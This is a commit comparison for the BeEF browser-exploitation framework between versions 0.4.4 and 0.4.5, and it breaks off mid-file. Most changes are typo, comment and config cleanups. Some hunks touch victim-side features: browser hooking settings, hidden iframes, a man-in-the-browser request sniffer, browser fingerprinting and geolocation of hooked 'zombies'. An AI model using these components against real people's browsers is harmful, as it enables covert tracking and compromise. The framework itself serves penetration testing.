Compare commits
162 Commits
beef-0.4.4
...
beef-0.4.5
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
c1a7b1ec08 | ||
|
|
9af8e6bd00 | ||
|
|
a317b223ca | ||
|
|
6fe8772710 | ||
|
|
94b636c6fd | ||
|
|
8dfa674134 | ||
|
|
52c2ef45e1 | ||
|
|
f17569cc35 | ||
|
|
82e09e88ff | ||
|
|
2ee9fb6ccc | ||
|
|
d0cdb9ec90 | ||
|
|
ed5a11479a | ||
|
|
4529dd1a6c | ||
|
|
a131e670bc | ||
|
|
17f265cb83 | ||
|
|
354c3f1af0 | ||
|
|
7689af8e2c | ||
|
|
691ae19426 | ||
|
|
f2c83ced4d | ||
|
|
940b03e249 | ||
|
|
78a0c689be | ||
|
|
5ddb88db73 | ||
|
|
f526f39f10 | ||
|
|
5d1d519fc2 | ||
|
|
d9fd2b994e | ||
|
|
dde007ce86 | ||
|
|
6044de5604 | ||
|
|
4e3f0366bf | ||
|
|
2cf4e7e055 | ||
|
|
3947bac044 | ||
|
|
99c251610d | ||
|
|
e139ad121e | ||
|
|
0664ce688e | ||
|
|
7d6eb4b714 | ||
|
|
97898d453c | ||
|
|
fab0bf6b24 | ||
|
|
4a603b9f00 | ||
|
|
73c42f34f6 | ||
|
|
ca13af9f4e | ||
|
|
2105121c93 | ||
|
|
98ca29e51e | ||
|
|
4db376f11c | ||
|
|
df4ec41538 | ||
|
|
ee1e29341e | ||
|
|
7a8115211d | ||
|
|
05979af3a2 | ||
|
|
4a733a6f74 | ||
|
|
d4fd537108 | ||
|
|
14f1991542 | ||
|
|
1c055febeb | ||
|
|
b3c4753114 | ||
|
|
44058f0025 | ||
|
|
afdb7044d8 | ||
|
|
161729bba5 | ||
|
|
8f4f51874d | ||
|
|
25550f9cfa | ||
|
|
46e165df5e | ||
|
|
3494542b54 | ||
|
|
c11d4d40ea | ||
|
|
2f7ccf033c | ||
|
|
91fa8f4e63 | ||
|
|
cdb050a940 | ||
|
|
39e672f420 | ||
|
|
ec9cf4d460 | ||
|
|
9dcff5184d | ||
|
|
32d30a8176 | ||
|
|
55af5625bb | ||
|
|
52aacdde66 | ||
|
|
7639537d11 | ||
|
|
d050198afa | ||
|
|
f274001a65 | ||
|
|
cc51e2c294 | ||
|
|
7554449218 | ||
|
|
a4973a5365 | ||
|
|
bcb8a1b858 | ||
|
|
4cbe074259 | ||
|
|
744b7649e7 | ||
|
|
a75a95b663 | ||
|
|
5084083e23 | ||
|
|
f2ba3b55e8 | ||
|
|
91575adcb2 | ||
|
|
9d4ea6c224 | ||
|
|
b2aed14234 | ||
|
|
75f33016ea | ||
|
|
6a62cf9eaa | ||
|
|
8d961c1938 | ||
|
|
141a12a92f | ||
|
|
95d0ddbe87 | ||
|
|
9cfb98963d | ||
|
|
94da775ba6 | ||
|
|
85d4375825 | ||
|
|
4d0f58684f | ||
|
|
8d95e6f522 | ||
|
|
5769615cd5 | ||
|
|
9a4fd6cb4c | ||
|
|
1ffa21d62a | ||
|
|
d8a8e37029 | ||
|
|
8270abd2d5 | ||
|
|
3865aab7ee | ||
|
|
123c3cdc04 | ||
|
|
ebbadba6dd | ||
|
|
d9f7af2721 | ||
|
|
d45bff3a59 | ||
|
|
d2ac9e0f7a | ||
|
|
9e1ec69e40 | ||
|
|
e775748603 | ||
|
|
3b58518cfd | ||
|
|
b9d64f0b89 | ||
|
|
e527f1ae09 | ||
|
|
68e56fa8c0 | ||
|
|
eccbdd6958 | ||
|
|
019ec2f6ed | ||
|
|
cfa9177af1 | ||
|
|
1f37ceec9f | ||
|
|
6901581ae7 | ||
|
|
09ec09601e | ||
|
|
fc6f0aface | ||
|
|
89a5d6fdbb | ||
|
|
6c61b39d81 | ||
|
|
80ab665054 | ||
|
|
e56494d486 | ||
|
|
2f5133e11a | ||
|
|
fce4c9196d | ||
|
|
0af4029915 | ||
|
|
44622345d0 | ||
|
|
0f8221918b | ||
|
|
c8c9e1e139 | ||
|
|
998980b566 | ||
|
|
7f4562945a | ||
|
|
38284d5eaa | ||
|
|
27b1b530ef | ||
|
|
c6f38324d1 | ||
|
|
054767c898 | ||
|
|
702595c04c | ||
|
|
c70037f9f4 | ||
|
|
13001b9642 | ||
|
|
18a78b57b2 | ||
|
|
24f7e5b6cd | ||
|
|
6d2a771084 | ||
|
|
271b2b8e85 | ||
|
|
35f25bbeb9 | ||
|
|
872ce2e92f | ||
|
|
992e95f0d7 | ||
|
|
1f7e748afc | ||
|
|
ddcb040c40 | ||
|
|
e563a8946b | ||
|
|
86e01b1327 | ||
|
|
d622bf3e5e | ||
|
|
c7eb1c7fc9 | ||
|
|
d24a00a639 | ||
|
|
c7981f3c0d | ||
|
|
281cde1cbb | ||
|
|
493ed5182b | ||
|
|
ceb55ef3df | ||
|
|
cbd815c519 | ||
|
|
d22373d828 | ||
|
|
fdd1048f1a | ||
|
|
cc4b34ed8d | ||
|
|
9f7d326f6f | ||
|
|
612343990d | ||
|
|
c708a60bdd | ||
|
|
6ce3581ae5 |
24
Gemfile
24
Gemfile
@@ -10,8 +10,10 @@ gem "eventmachine", "1.0.3"
|
||||
gem "thin"
|
||||
gem "sinatra", "1.4.2"
|
||||
gem "rack", "1.5.2"
|
||||
gem "em-websocket", "~> 0.3.6"
|
||||
gem "em-websocket", "~> 0.3.6" # WebSocket support
|
||||
gem "uglifier", "~> 2.2.1"
|
||||
|
||||
# Windows support
|
||||
if RUBY_PLATFORM.downcase.include?("mswin") || RUBY_PLATFORM.downcase.include?("mingw")
|
||||
# make sure you install this gem following https://github.com/hiranpeiris/therubyracer_for_windows
|
||||
gem "therubyracer", "~> 0.11.0beta1"
|
||||
@@ -21,23 +23,27 @@ elsif !RUBY_PLATFORM.downcase.include?("darwin")
|
||||
gem "therubyracer"
|
||||
gem "execjs"
|
||||
end
|
||||
|
||||
gem "ansi"
|
||||
gem "term-ansicolor", :require => "term/ansicolor"
|
||||
gem "dm-core"
|
||||
gem "json"
|
||||
gem "data_objects"
|
||||
gem "dm-sqlite-adapter"
|
||||
gem "dm-sqlite-adapter" # SQLite support
|
||||
#gem dm-postgres-adapter # PostgreSQL support
|
||||
#gem dm-mysql-adapter # MySQL support
|
||||
gem "parseconfig"
|
||||
gem "erubis"
|
||||
gem "dm-migrations"
|
||||
gem "msfrpc-client"
|
||||
gem "rubyzip", "~> 1.0.0"
|
||||
|
||||
# notifications
|
||||
gem "twitter"
|
||||
gem "msfrpc-client" # Metasploit Integration extension
|
||||
#gem "twitter", ">= 5.0.0" # Twitter Notifications extension
|
||||
gem "rubyzip", ">= 1.0.0"
|
||||
gem "rubydns" # DNS extension
|
||||
gem "sourcify"
|
||||
gem "geoip" # geolocation support
|
||||
|
||||
# For running unit tests
|
||||
if ENV['BEEF_TEST']
|
||||
# for running unit tests
|
||||
gem "test-unit"
|
||||
gem "test-unit-full"
|
||||
gem "curb"
|
||||
@@ -48,7 +54,7 @@ if ENV['BEEF_TEST']
|
||||
# sudo apt-get install libxslt-dev libxml2-dev
|
||||
# sudo port install libxml2 libxslt
|
||||
gem "capybara"
|
||||
#RESTful API tests/generic command module tests
|
||||
# RESTful API tests/generic command module tests
|
||||
gem "rest-client", "~> 1.6.7"
|
||||
end
|
||||
|
||||
|
||||
@@ -42,7 +42,7 @@ Installation
|
||||
On linux you will need to find the packages specific to your distribution for sqlite. An example for Ubuntu systems is:
|
||||
|
||||
3.0. sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc
|
||||
3.1. install rvm from rvm.beginrescueend.com, this takes care of the various incompatable and conflicting ruby packages that are required
|
||||
3.1. install rvm from rvm.beginrescueend.com, this takes care of the various incompatible and conflicting ruby packages that are required
|
||||
3.2. rvm install 1.9.3-p484
|
||||
3.3. rvm use 1.9.3
|
||||
|
||||
@@ -71,4 +71,4 @@ Installation
|
||||
|
||||
Simply run:
|
||||
|
||||
./beef -x
|
||||
./beef -x
|
||||
|
||||
2
README
2
README
@@ -54,7 +54,7 @@ We also have a Wiki page at https://github.com/beefproject/beef/wiki/Installatio
|
||||
Usage
|
||||
-----
|
||||
|
||||
To get started, simply execute beef and follow the instrustions:
|
||||
To get started, simply execute beef and follow the instructions:
|
||||
|
||||
$ ./beef
|
||||
|
||||
|
||||
30
Rakefile
30
Rakefile
@@ -8,14 +8,14 @@ task :default => ["quick"]
|
||||
|
||||
desc "Run quick tests"
|
||||
task :quick do
|
||||
Rake::Task['unit'].invoke # run unit tests
|
||||
Rake::Task['unit'].invoke # run unit tests
|
||||
end
|
||||
|
||||
desc "Run all tests"
|
||||
task :all do
|
||||
Rake::Task['integration'].invoke # run integration tests
|
||||
Rake::Task['unit'].invoke # run unit tests
|
||||
Rake::Task['msf'].invoke # run msf tests
|
||||
Rake::Task['integration'].invoke # run integration tests
|
||||
Rake::Task['unit'].invoke # run unit tests
|
||||
Rake::Task['msf'].invoke # run msf tests
|
||||
end
|
||||
|
||||
desc "Run automated tests (for Jenkins)"
|
||||
@@ -38,16 +38,16 @@ task :unit => ["install"] do
|
||||
end
|
||||
|
||||
desc "Run MSF unit tests"
|
||||
task :msf => ["install", "msf_install"] do
|
||||
task :msf => ["install", "msf_install"] do
|
||||
Rake::Task['msf_update'].invoke
|
||||
Rake::Task['msf_start'].invoke
|
||||
sh "cd test/thirdparty/msf/unit/;ruby -W0 ts_metasploit.rb"
|
||||
Rake::Task['msf_stop'].invoke
|
||||
end
|
||||
|
||||
task :install do
|
||||
sh "export BEEF_TEST=true;bundle install"
|
||||
end
|
||||
#task :install do
|
||||
# sh "export BEEF_TEST=true"
|
||||
#end
|
||||
|
||||
################################
|
||||
# X11 set up
|
||||
@@ -57,7 +57,7 @@ end
|
||||
task :xserver_start do
|
||||
printf "Starting X11 Server (wait 10 seconds)..."
|
||||
@xserver_process_id = IO.popen("/usr/bin/Xvfb :0 -screen 0 1024x768x24 2> /dev/null", "w+")
|
||||
delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
|
||||
delays = [2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
|
||||
delays.each do |i| # delay for 10 seconds
|
||||
printf '.'
|
||||
sleep (i) # increase the . display rate
|
||||
@@ -78,7 +78,7 @@ end
|
||||
task :beef_start => 'beef' do
|
||||
printf "Starting BeEF (wait a few seconds)..."
|
||||
@beef_process_id = IO.popen("ruby ./beef -x 2> /dev/null", "w+")
|
||||
delays = [3, 2, 2, 2, 2, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
|
||||
delays = [10, 10, 5, 5, 4, 4, 3, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1]
|
||||
delays.each do |i| # delay for a few seconds
|
||||
printf '.'
|
||||
sleep (i)
|
||||
@@ -99,7 +99,7 @@ end
|
||||
task :msf_start => '/tmp/msf-test/msfconsole' do
|
||||
printf "Starting MSF (wait 45 seconds)..."
|
||||
@msf_process_id = IO.popen("/tmp/msf-test/msfconsole -r test/thirdparty/msf/unit/BeEF.rc 2> /dev/null", "w+")
|
||||
delays = [10, 7, 6, 5, 4, 3, 2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
|
||||
delays = [10, 7, 6, 5, 4, 3, 2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
|
||||
delays.each do |i| # delay for 45 seconds
|
||||
printf '.'
|
||||
sleep (i) # increase the . display rate
|
||||
@@ -116,7 +116,7 @@ task :msf_install => '/tmp/msf-test/msfconsole' do
|
||||
# Handled by the 'test/msf-test/msfconsole' task.
|
||||
end
|
||||
|
||||
task :msf_update => '/tmp/msf-test/msfconsole' do
|
||||
task :msf_update => '/tmp/msf-test/msfconsole' do
|
||||
sh "cd /tmp/msf-test;git pull"
|
||||
end
|
||||
|
||||
@@ -159,10 +159,10 @@ task :cde do
|
||||
Rake::Task['cde_beef_start'].invoke
|
||||
Rake::Task['beef_stop'].invoke
|
||||
puts "\nCleaning Up...\n";
|
||||
sleep (2);
|
||||
sleep (2);
|
||||
sh "rm -rf CDE";
|
||||
puts "\nCDE Package Created...\n";
|
||||
end
|
||||
end
|
||||
|
||||
################################
|
||||
# CDE/BeEF environment set up
|
||||
@@ -172,7 +172,7 @@ task :cde do
|
||||
task :cde_beef_start => 'beef' do
|
||||
printf "Starting CDE BeEF (wait 10 seconds)..."
|
||||
@beef_process_id = IO.popen("./CDE/cde ruby beef -x 2> /dev/null", "w+")
|
||||
delays = [2, 2, 1, 1, 1, 0.5, 0.5 , 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
|
||||
delays = [2, 2, 1, 1, 1, 0.5, 0.5, 0.5, 0.3, 0.2, 0.1, 0.1, 0.1, 0.05, 0.05]
|
||||
delays.each do |i| # delay for 10 seconds
|
||||
printf '.'
|
||||
sleep (i)
|
||||
|
||||
2
VERSION
2
VERSION
@@ -4,4 +4,4 @@
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
0.4.4.9-alpha
|
||||
0.4.5.0-alpha
|
||||
|
||||
69
config.yaml
69
config.yaml
@@ -6,56 +6,73 @@
|
||||
# BeEF Configuration file
|
||||
|
||||
beef:
|
||||
version: '0.4.4.9-alpha'
|
||||
version: '0.4.5.0-alpha'
|
||||
# More verbose messages (server-side)
|
||||
debug: false
|
||||
# More verbose messages (client-side)
|
||||
client_debug: false
|
||||
# Used for generating secure tokens
|
||||
crypto_default_value_length: 80
|
||||
|
||||
# Interface / IP restrictions
|
||||
restrictions:
|
||||
# subnet of browser ip addresses that can hook to the framework
|
||||
# subnet of IP addresses that can hook to the framework
|
||||
permitted_hooking_subnet: "0.0.0.0/0"
|
||||
# subnet of browser ip addresses that can connect to the UI
|
||||
# permitted_ui_subnet: "127.0.0.1/32"
|
||||
# subnet of IP addresses that can connect to the admin UI
|
||||
#permitted_ui_subnet: "127.0.0.1/32"
|
||||
permitted_ui_subnet: "0.0.0.0/0"
|
||||
|
||||
# HTTP server
|
||||
http:
|
||||
debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
|
||||
host: "0.0.0.0"
|
||||
port: "3000"
|
||||
# Decrease this setting up to 1000 if you want more responsiveness when sending modules and retrieving results.
|
||||
# It's not advised to decrease it with tons of hooked browsers (more than 50),
|
||||
# because it might impact performance. Also, enable WebSockets is generally better.
|
||||
|
||||
# Decrease this setting to 1,000 (ms) if you want more responsiveness
|
||||
# when sending modules and retrieving results.
|
||||
# NOTE: A poll timeout of less than 5,000 (ms) might impact performance
|
||||
# when hooking lots of browsers (50+).
|
||||
# Enabling WebSockets is generally better (beef.websocket.enable)
|
||||
xhr_poll_timeout: 5000
|
||||
# if running behind a nat set the public ip address here
|
||||
#public: ""
|
||||
#public_port: "" # port setting is experimental
|
||||
|
||||
# Reverse Proxy / NAT
|
||||
# If BeEF is running behind a reverse proxy or NAT
|
||||
# set the public hostname and port here
|
||||
#public: "" # public hostname/IP address
|
||||
#public_port: "" # experimental
|
||||
|
||||
# DNS
|
||||
dns_host: "localhost"
|
||||
dns_port: 53
|
||||
|
||||
# Web Admin user interface URI
|
||||
web_ui_basepath: "/ui"
|
||||
|
||||
# Hook
|
||||
hook_file: "/hook.js"
|
||||
hook_session_name: "BEEFHOOK"
|
||||
session_cookie_name: "BEEFSESSION"
|
||||
|
||||
# Allow one or multiple domains to access the RESTful API using CORS
|
||||
# For multiple domains use: "http://browserhacker.com, http://domain2.com"
|
||||
# Allow one or multiple origins to access the RESTful API using CORS
|
||||
# For multiple origins use: "http://browserhacker.com, http://domain2.com"
|
||||
restful_api:
|
||||
allow_cors: false
|
||||
cors_allowed_domains: "http://browserhacker.com"
|
||||
|
||||
# Prefer WebSockets over XHR-polling when possible.
|
||||
websocket:
|
||||
enable: false
|
||||
secure: true # use 'WebSocketSecure' works only on HTTPS domains and with HTTPS support enabled in BeEF
|
||||
port: 61985 # WS: good success rate through proxies
|
||||
secure_port: 61986 # WSSecure
|
||||
ws_poll_timeout: 1000 # poll BeEF every second
|
||||
enable: false
|
||||
port: 61985 # WS: good success rate through proxies
|
||||
# Use encrypted 'WebSocketSecure'
|
||||
# NOTE: works only on HTTPS domains and with HTTPS support enabled in BeEF
|
||||
secure: true
|
||||
secure_port: 61986 # WSSecure
|
||||
ws_poll_timeout: 1000 # poll BeEF every second
|
||||
|
||||
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)
|
||||
web_server_imitation:
|
||||
enable: true
|
||||
type: "apache" #supported: apache, iis
|
||||
type: "apache" # Supported: apache, iis, nginx
|
||||
|
||||
# Experimental HTTPS support for the hook / admin / all other Thin managed web services
|
||||
https:
|
||||
@@ -89,7 +106,8 @@ beef:
|
||||
db_passwd: "beef123"
|
||||
db_encoding: "UTF-8"
|
||||
|
||||
# Credentials to authenticate in BeEF. Used by both the RESTful API and the Admin_UI extension
|
||||
# Credentials to authenticate in BeEF.
|
||||
# Used by both the RESTful API and the Admin_UI extension
|
||||
credentials:
|
||||
user: "beef"
|
||||
passwd: "beef"
|
||||
@@ -98,10 +116,16 @@ beef:
|
||||
# NOTE: only modules with target type 'working' or 'user_notify' can be run automatically.
|
||||
autorun:
|
||||
enable: true
|
||||
# set this to FALSE if you don't want to allow auto-run execution for modules with target->user_notify
|
||||
# set this to TRUE if you want to allow auto-run execution for modules with target->user_notify
|
||||
allow_user_notify: true
|
||||
|
||||
crypto_default_value_length: 80
|
||||
# IP Geolocation
|
||||
# NOTE: requires MaxMind database:
|
||||
# curl -O http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz
|
||||
# gunzip GeoLiteCity.dat.gz && mkdir /opt/GeoIP && mv GeoLiteCity.dat /opt/GeoIP
|
||||
geoip:
|
||||
enable: false
|
||||
database: '/opt/GeoIP/GeoLiteCity.dat'
|
||||
|
||||
# You may override default extension configuration parameters here
|
||||
extension:
|
||||
@@ -120,3 +144,6 @@ beef:
|
||||
enable: false
|
||||
ipec:
|
||||
enable: true
|
||||
# this is still experimental, we're working on it..
|
||||
dns:
|
||||
enable: false
|
||||
|
||||
@@ -12,7 +12,7 @@ module Filters
|
||||
def self.is_valid_browsername?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if str.length > 2
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
true
|
||||
end
|
||||
|
||||
@@ -22,7 +22,7 @@ module Filters
|
||||
def self.is_valid_browsertype?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if str.length < 10
|
||||
return false if str.length > 250
|
||||
return false if str.length > 500 #CxF - had to increase this because the Chrome detection JSON String is getting bigger.
|
||||
return false if has_non_printable_char?(str)
|
||||
true
|
||||
end
|
||||
@@ -32,7 +32,7 @@ module Filters
|
||||
# @return [Boolean] If the string has valid Operating System name characters
|
||||
def self.is_valid_osname?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length < 2
|
||||
true
|
||||
end
|
||||
@@ -52,7 +52,7 @@ module Filters
|
||||
# @return [Boolean] If the string has valid browser version characters
|
||||
def self.is_valid_browserversion?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return true if str.eql? "UNKNOWN"
|
||||
return false if not nums_only?(str) and not is_valid_float?(str)
|
||||
return false if str.length > 10
|
||||
@@ -64,7 +64,7 @@ module Filters
|
||||
# @return [Boolean] If the string has valid browser / ua string characters
|
||||
def self.is_valid_browserstring?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 300
|
||||
true
|
||||
end
|
||||
@@ -73,7 +73,7 @@ module Filters
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid cookie characters
|
||||
def self.is_valid_cookies?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 2000
|
||||
true
|
||||
end
|
||||
@@ -82,7 +82,7 @@ module Filters
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid screen size characters
|
||||
def self.is_valid_screen_size?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 200
|
||||
true
|
||||
end
|
||||
@@ -91,7 +91,7 @@ module Filters
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid window size characters
|
||||
def self.is_valid_window_size?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 200
|
||||
true
|
||||
end
|
||||
@@ -114,6 +114,16 @@ module Filters
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the CPU type string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid CPU type characters
|
||||
def self.is_valid_cpu?(str)
|
||||
return false if not is_non_empty_string?(str)
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 200
|
||||
true
|
||||
end
|
||||
|
||||
# Verify the browser_plugins string is valid
|
||||
# @param [String] str String for testing
|
||||
# @return [Boolean] If the string has valid browser plugin characters
|
||||
|
||||
@@ -12,7 +12,7 @@ module Filters
|
||||
def self.is_valid_pagetitle?(str)
|
||||
return false if not str.is_a? String
|
||||
return false if has_non_printable_char?(str)
|
||||
return false if str.length > 50
|
||||
return false if str.length > 500 # CxF Increased this because some page titles are MUCH longer
|
||||
true
|
||||
end
|
||||
|
||||
|
||||
@@ -15,6 +15,8 @@ require 'ipaddr'
|
||||
require 'base64'
|
||||
require 'xmlrpc/client'
|
||||
require 'openssl'
|
||||
require 'rubydns'
|
||||
require 'sourcify'
|
||||
|
||||
# @note Include the filters
|
||||
require 'core/filters'
|
||||
@@ -29,4 +31,4 @@ require 'core/api'
|
||||
require 'core/settings'
|
||||
|
||||
# @note Include the core of BeEF
|
||||
require 'core/core'
|
||||
require 'core/core'
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -102,23 +102,19 @@ beef.dom = {
|
||||
},
|
||||
|
||||
/**
|
||||
* Create and iFrame element. In case it's create with POST method, the iFrame is automatically added to the DOM and submitted.
|
||||
* example usage in the code: beef.dom.createIframe('fullscreen', 'get', {'src':$j(this).attr('href')}, {}, null);
|
||||
* Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter
|
||||
* is assigned to created iframe tag's src attribute resulting in GET request to that URI.
|
||||
* example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
|
||||
* @param: {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
|
||||
* @param: {String} method: can be 'GET' or 'POST'. defaults to GET
|
||||
* @param: {Hash} params: list of params that will be sent in request.
|
||||
* @param: {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
|
||||
* @param: {Function} a callback function to fire once the iFrame has loaded
|
||||
* @return: {Object} the inserted iFrame
|
||||
*
|
||||
*/
|
||||
createIframe: function(type, method, params, styles, onload) {
|
||||
createIframe: function(type, params, styles, onload) {
|
||||
var css = {};
|
||||
var form_submit = (method.toLowerCase() == 'post') ? true : false;
|
||||
if (form_submit && params['src'])
|
||||
{
|
||||
var form_action = params['src'];
|
||||
params['src'] = '';
|
||||
}
|
||||
|
||||
if (type == 'hidden') {
|
||||
css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles);
|
||||
} else if (type == 'fullscreen') {
|
||||
@@ -130,13 +126,6 @@ beef.dom = {
|
||||
}
|
||||
var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
|
||||
|
||||
if (form_submit && form_action)
|
||||
{
|
||||
var id = beef.dom.generateID();
|
||||
$j(iframe).attr({'id': id, 'name':id});
|
||||
var form = beef.dom.createForm({'action':form_action, 'method':'get', 'target':id}, false);
|
||||
$j(form).prependTo('body').submit();
|
||||
}
|
||||
return iframe;
|
||||
},
|
||||
|
||||
|
||||
@@ -33,11 +33,11 @@ beef.mitb = {
|
||||
|
||||
//GET request
|
||||
if (method == "GET") {
|
||||
//GET request -> cross-domain
|
||||
//GET request -> cross-origin
|
||||
if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort != document.location.port )) {
|
||||
beef.mitb.sniff("GET [Ajax CrossDomain Request]: " + url);
|
||||
window.open(url);
|
||||
}else { //GET request -> same-domain
|
||||
}else { //GET request -> same-origin
|
||||
beef.mitb.sniff("GET [Ajax Request]: " + url);
|
||||
if (beef.mitb.fetch(url, document.getElementsByTagName("html")[0])) {
|
||||
var title = "";
|
||||
@@ -198,7 +198,7 @@ beef.mitb = {
|
||||
beef.mitb.sniff("GET: " + url);
|
||||
|
||||
} catch (x) {
|
||||
// the link is cross-domain, so load the resource in a different tab
|
||||
// the link is cross-origin, so load the resource in a different tab
|
||||
window.open(url);
|
||||
beef.mitb.sniff("GET [New Window]: " + url);
|
||||
}
|
||||
|
||||
@@ -71,7 +71,7 @@ beef.net = {
|
||||
response: function () {
|
||||
this.status_code = null; // 500, 404, 200, 302
|
||||
this.status_text = null; // success, timeout, error, ...
|
||||
this.response_body = null; // "<html>…." if not a cross domain request
|
||||
this.response_body = null; // "<html>…." if not a cross-origin request
|
||||
this.port_status = null; // tcp port is open, closed or not http
|
||||
this.was_cross_domain = null; // true or false
|
||||
this.was_timedout = null; // the user specified timeout was reached
|
||||
|
||||
@@ -12,7 +12,7 @@ beef.net.cors = {
|
||||
},
|
||||
|
||||
/**
|
||||
* Make a cross-domain request using CORS
|
||||
* Make a cross-origin request using CORS
|
||||
*
|
||||
* @param method {String} HTTP verb ('GET', 'POST', 'DELETE', etc.)
|
||||
* @param url {String} url
|
||||
|
||||
@@ -8,6 +8,24 @@ beef.os = {
|
||||
|
||||
ua: navigator.userAgent,
|
||||
|
||||
/**
|
||||
* Detect default browser (IE only)
|
||||
* Written by unsticky
|
||||
* http://ha.ckers.org/blog/20070319/detecting-default-browser-in-ie/
|
||||
*/
|
||||
getDefaultBrowser: function() {
|
||||
var mt = document.mimeType;
|
||||
var result = "Unknown"
|
||||
if (mt) {
|
||||
if (mt == "Safari Document") result = "Safari";
|
||||
if (mt == "Firefox HTML Document") result = "Firefox";
|
||||
if (mt == "Chrome HTML Document") result = "Chrome";
|
||||
if (mt == "HTML Document") result = "Internet Explorer";
|
||||
if (mt == "Opera Web Document") result = "Opera";
|
||||
}
|
||||
return result;
|
||||
},
|
||||
|
||||
isWin311: function() {
|
||||
return (this.ua.match('(Win16)')) ? true : false;
|
||||
},
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
/*
|
||||
Sometimes there are timing issues and looks like beef_init
|
||||
is not called at all (always in cross-domain situations,
|
||||
is not called at all (always in cross-origin situations,
|
||||
for example calling the hook with jquery getScript,
|
||||
or sometimes with event handler injections).
|
||||
|
||||
|
||||
@@ -20,7 +20,7 @@ beef.websocket = {
|
||||
|
||||
/**
|
||||
* Initialize the WebSocket client object.
|
||||
* Note: use WebSocketSecure only if the hooked domain is under https.
|
||||
* Note: use WebSocketSecure only if the hooked origin is under https.
|
||||
* Mixed-content in WS is quite different from a non-WS context.
|
||||
*/
|
||||
init:function () {
|
||||
|
||||
@@ -68,7 +68,7 @@ module BeEF
|
||||
}
|
||||
zombie.httpheaders = @http_headers.to_json
|
||||
zombie.save
|
||||
#puts "HTTP Headers: #{zombie.httpheaders}"
|
||||
#print_debug "[INIT] HTTP Headers: #{zombie.httpheaders}"
|
||||
|
||||
# add a log entry for the newly hooked browser
|
||||
BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}:#{log_zombie_port.to_s}", "#{zombie.id}")
|
||||
@@ -80,6 +80,36 @@ module BeEF
|
||||
self.err_msg "Invalid browser name returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# geolocation
|
||||
if config.get('beef.geoip.enable')
|
||||
require 'geoip'
|
||||
geoip_file = config.get('beef.geoip.database')
|
||||
if File.exists? geoip_file
|
||||
geoip = GeoIP.new(geoip_file).city(zombie.ip)
|
||||
if geoip.nil?
|
||||
print_debug "[INIT] Geolocation failed - No results for IP address '#{zombie.ip}'"
|
||||
else
|
||||
#print_debug "[INIT] Geolocation results: #{geoip}"
|
||||
BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} is connecting from: #{geoip}", "#{zombie.id}")
|
||||
BD.set(session_id, 'LocationCity', "#{geoip['city_name']}")
|
||||
BD.set(session_id, 'LocationCountry', "#{geoip['country_name']}")
|
||||
BD.set(session_id, 'LocationCountryCode2', "#{geoip['country_code2']}")
|
||||
BD.set(session_id, 'LocationCountryCode3', "#{geoip['country_code3']}")
|
||||
BD.set(session_id, 'LocationContinentCode', "#{geoip['continent_code']}")
|
||||
BD.set(session_id, 'LocationPostCode', "#{geoip['postal_code']}")
|
||||
BD.set(session_id, 'LocationLatitude', "#{geoip['latitude']}")
|
||||
BD.set(session_id, 'LocationLongitude', "#{geoip['longitude']}")
|
||||
BD.set(session_id, 'LocationDMACode', "#{geoip['dma_code']}")
|
||||
BD.set(session_id, 'LocationAreaCode', "#{geoip['area_code']}")
|
||||
BD.set(session_id, 'LocationTimezone', "#{geoip['timezone']}")
|
||||
BD.set(session_id, 'LocationRegionName', "#{geoip['real_region_name']}")
|
||||
end
|
||||
else
|
||||
